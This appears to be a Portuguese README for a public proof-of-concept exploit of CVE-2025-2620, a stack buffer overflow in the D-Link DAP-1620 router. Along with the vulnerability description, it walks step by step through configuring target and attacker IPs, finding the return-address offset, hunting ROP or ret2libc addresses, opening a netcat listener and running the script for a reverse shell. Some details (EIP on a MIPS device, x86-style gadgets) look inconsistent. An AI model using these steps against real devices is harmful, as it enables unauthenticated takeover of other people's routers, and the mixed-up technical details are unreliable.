Exploit de Prova de Conceito CVE-2025-2620

Visão Geral

Este repositório contém um exploit avançado de prova de conceito (PoC) para CVE-2025-2620, uma vulnerabilidade crítica de estouro de buffer baseado em pilha descoberta no roteador D-Link DAP-1620 executando a versão de firmware 1.03. Esta vulnerabilidade permite que atacantes remotos não autenticados travem o servidor web do roteador (Negação de Serviço, DoS) e potencialmente executem código arbitrário (Execução Remota de Código, RCE).

O objetivo deste projeto é demonstrar habilidades de desenvolvimento de exploits.

Detalhes da Vulnerabilidade

Descrição da CVE

CVE-2025-2620 afeta a função mod_graph_auth_uri_handler do roteador D-Link DAP-1620, especificamente no endpoint /storage. A vulnerabilidade é causada por verificação inadequada de limites, permitindo que um atacante envie uma entrada grande que excede o tamanho do buffer alocado, levando a um estouro de buffer baseado em pilha.

Impacto

• Negação de Serviço (DoS): Trava o servidor HTTP do roteador, tornando-o sem resposta até uma reinicialização.
• Execução Remota de Código (RCE): Atacantes podem sobrescrever o endereço de retorno e executar código arbitrário na arquitetura baseada em MIPS do roteador.
• Nenhuma Autenticação Necessária: A vulnerabilidade pode ser acionada remotamente sem credenciais, aumentando sua gravidade.

Detalhamento Técnico

A função vulnerável processa um parâmetro de autenticação (auth) de requisições HTTP:

void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // Fixed-size stack buffer
    strcpy(buffer, input);  // No length check, causes overflow
    // Process authentication...
}

Um atacante enviando um payload superdimensionado (ex.: 1024+ bytes) sobrescreve a memória adjacente, incluindo o endereço de retorno da função, potencialmente levando à execução de código.

Pontuação CVSS v3.1: 9.8 (Crítico)

Dispositivos Afetados

O D-Link DAP-1620 é um extensor de alcance Wi-Fi com as seguintes especificações:

• CPU: Realtek RTL8197F (MIPS 24Kc, ~600 MHz)
• RAM: 64 MB
• Flash: 16 MB
• Wi-Fi: Dual-band 802.11ac
• Firmware: 1.03 (confirmadamente vulnerável)

Outros roteadores/extensores D-Link com firmware semelhante também podem estar afetados.

Linha do Tempo de Divulgação

• 22 de março de 2025 – CVE-2025-2620 publicada no NVD/MITRE.
• 22 de março de 2025 – Este PoC foi desenvolvido e testado.
• 22 de março de 2025 – Nenhum patch oficial da D-Link até esta data.

Detalhes do Exploit PoC

Funcionalidades

PoC Combinado – Inclui tanto teste de estouro de buffer quanto exploit RCE.
Teste de estouro de buffer baseado em pilha – Identifica roteadores vulneráveis.
Exploit completo de execução remota de código (RCE) – Gera uma shell reversa.
Tamanho do payload e endereço de retorno configuráveis – Adaptável para diferentes modelos de roteador.
Depuração Aprimorada – Registra offsets de travamento para refinar parâmetros do exploit.

Instalação e Uso

Passo 1: Clonar o Repositório

git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

Passo 2: Instalar Dependências

Certifique-se de ter Python3 e pwntools instalados:

pip install pwntools

Passo 3: Configurar o Exploit

Modifique o script CVE-2025-2620_poc.py:

Definir o IP do roteador:

TARGET_IP = "192.168.0.1"  # altere para corresponder ao seu roteador

Definir o IP da sua máquina de ataque:

ATTACKER_IP = "192.168.0.100"  # altere para seu IP local
ATTACKER_PORT = 4444  # altere se necessário

Ajustar o tamanho do buffer se necessário:

BUFFER_SIZE = 8000  # Aumente se o roteador não travar

Encontrar o offset do EIP e definir o endereço de retorno:

Passo 1: Enviar um Padrão Cíclico

Modifique o PoC para gerar um padrão único e enviá-lo:

MODE = "overflow"  # Defina como "overflow" para encontrar o offset

Execute o script:

python3 CVE-2025-2620_poc.py

Passo 2: Verificar o Endereço de Travamento

Após travar o roteador, verifique o endereço de segfault (EIP no x86 ou RA no MIPS) a partir de:

• Logs do roteador
• Debugger (gdb)
• dmesg | grep 'segfault'

Procure por um endereço como 0x61616161 (o que significa que parte do padrão cíclico sobrescreveu o ponteiro de retorno).

Passo 3: Encontrar o Offset

Use cyclic_find para localizar o offset exato:

from pwn import cyclic_find
print(cyclic_find(0x61616161))  # Substitua pelo endereço de travamento

Isso fornece o valor exato de OFFSET. Atualize seu PoC:

OFFSET = <OFFSET ENCONTRADO>  # Substitua pelo número real

Passo 4: Encontrar um Endereço de Retorno Adequado (RET_ADDR)

• Opção 1: Encontrar um Gadget JMP ou CALL

  root@kitploit:~

  ROPgadget --binary vulnerable_binary | grep "jmp"
  

  Escolha um endereço que salte para um registrador (ex.: jmp $sp ou jmp $ra).

• Opção 2: Usar um endereço ret2libc Encontre o endereço de system() na libc:

  root@kitploit:~

  objdump -D /lib/libc.so.6 | grep "system"
  

  Em seguida, use-o como RET_ADDR:

  root@kitploit:~

  RET_ADDR = struct.pack("<I", 0xdeadbeef)  # Substitua pelo endereço real
  

Passo 4: Iniciar um Listener

nc -lvnp 4444

Passo 5: Executar o Exploit

python3 CVE-2025-2620_poc.py --mode rce

Desenvolvido com ❤️ por Otsmane Ahmed